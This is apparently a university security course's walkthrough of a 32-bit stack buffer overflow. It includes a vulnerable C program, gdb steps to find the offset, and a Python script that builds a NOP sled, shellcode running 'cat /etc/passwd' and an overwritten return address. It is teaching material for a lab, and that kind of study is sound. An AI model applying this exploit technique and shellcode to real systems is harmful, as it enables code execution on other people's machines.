BYU logo Computer Science
CS 465 Introduction to Security and Privacy

Shellcode walkthrough

We’re going to be walking through an example of using an x32 shellcode.

Vulnerable code

Here is the vulnerable code we’ll be using. This is taken from stack-overflow.c in the shellcode32 directory in the software security repo.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void my_function(const char *);
int main(int argc, char **argv)
{
char buf[1000];
printf("Enter a string: ");
fgets(buf, 999, stdin);
my_function(buf);
printf("Exiting normally\n");
}
void my_function(const char *src)
{
char copy[500];
strcpy(copy, src);
}

As you can see, the code has a 500-byte buffer that is the destination for strcpy(), but input in main() enables an attacker to enter 999 bytes.

Finding the stack pointer offset

Run gdb ./stack and then generate a pattern: pattern create:

Using the pattern create command in gdb

Now run the program and supply the pattern as input:

Crash output from gdb
  • The top listing shows you registers, color-coded to show you which are affected by what we wrote on the stack.

    • Notice that we can overwrite $esp, the stack pointer
    • Notice that we changed $eip, the instruction pointer.
  • The bottom listing shows you the stack.

Now run pattern search daafeaaf:

Use the pattern search command in gdb

You should see the offset from the buffer to $esp, which in this case is 512.

Shellcode

You can use Exploit Databse to find shellcode. I chose Linux/x86 - execve(/bin/cat /etc/passwd), which is 43 bytes.

Note, I originally used shellcode that ran /bin/sh, but the shell exits when the program exits so it doesn’t do much useful

You can put the offset and the shellcode into shell.py:

#!/usr/bin/env python3
import sys
# shellcode
# cat /etc/passwd
# length of shellcode is 43 bytes
SHELL = 43
shellcode32 = b'\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'
# calculate this offset in gdb
OFFSET = 512
NUM = OFFSET - SHELL - 40
nop = b'\x90' * NUM
# find this address by examining the stack after strcpy()
# eip
# use for checking which address to use
eip = b'\x43\x43\x43\x43' * 10
payload = nop + shellcode32 + eip
sys.stdout.buffer.write(payload)
print()

This program will create a payload tht contains a nop sled, followed by the shellcode, followed by 10 copies of a bad address (capital C). Our goal is to find a good address to overwrite $esp, and this will help us do it.

Create the payload with python shell.py > payload.txt

Finding an address for the exploit

Use gdb and run r < payload.txt:

Find the address

What we want is an address that is in our nop sled, which is the list of \x90 instructions on the stack. Let’s use 0xffffcec0. Modify the script so it uses this address:

#!/usr/bin/env python3
import sys
# shellcode
# cat /etc/passwd
# length of shellcode is 43 bytes
SHELL = 43
shellcode32 = b'\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\
\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'
# calculate this offset in gdb
OFFSET = 512
NUM = OFFSET - SHELL - 40
nop = b'\x90' * NUM
# find this address by examining the stack after strcpy()
eip = b'\xc0\xce\xff\xff' * 10
# use for checking which address to use
# eip = b'\x43\x43\x43\x43' * 10
payload = nop + shellcode32 + eip
sys.stdout.buffer.write(payload)
print()

Generate a new payload with python shell.py > payload.txt.

Running the exploit

Now we can run this in gdb with r < payload.txt>:

It works!

It works!

You can also run this exploit on the command line with ./stack < payload.txt.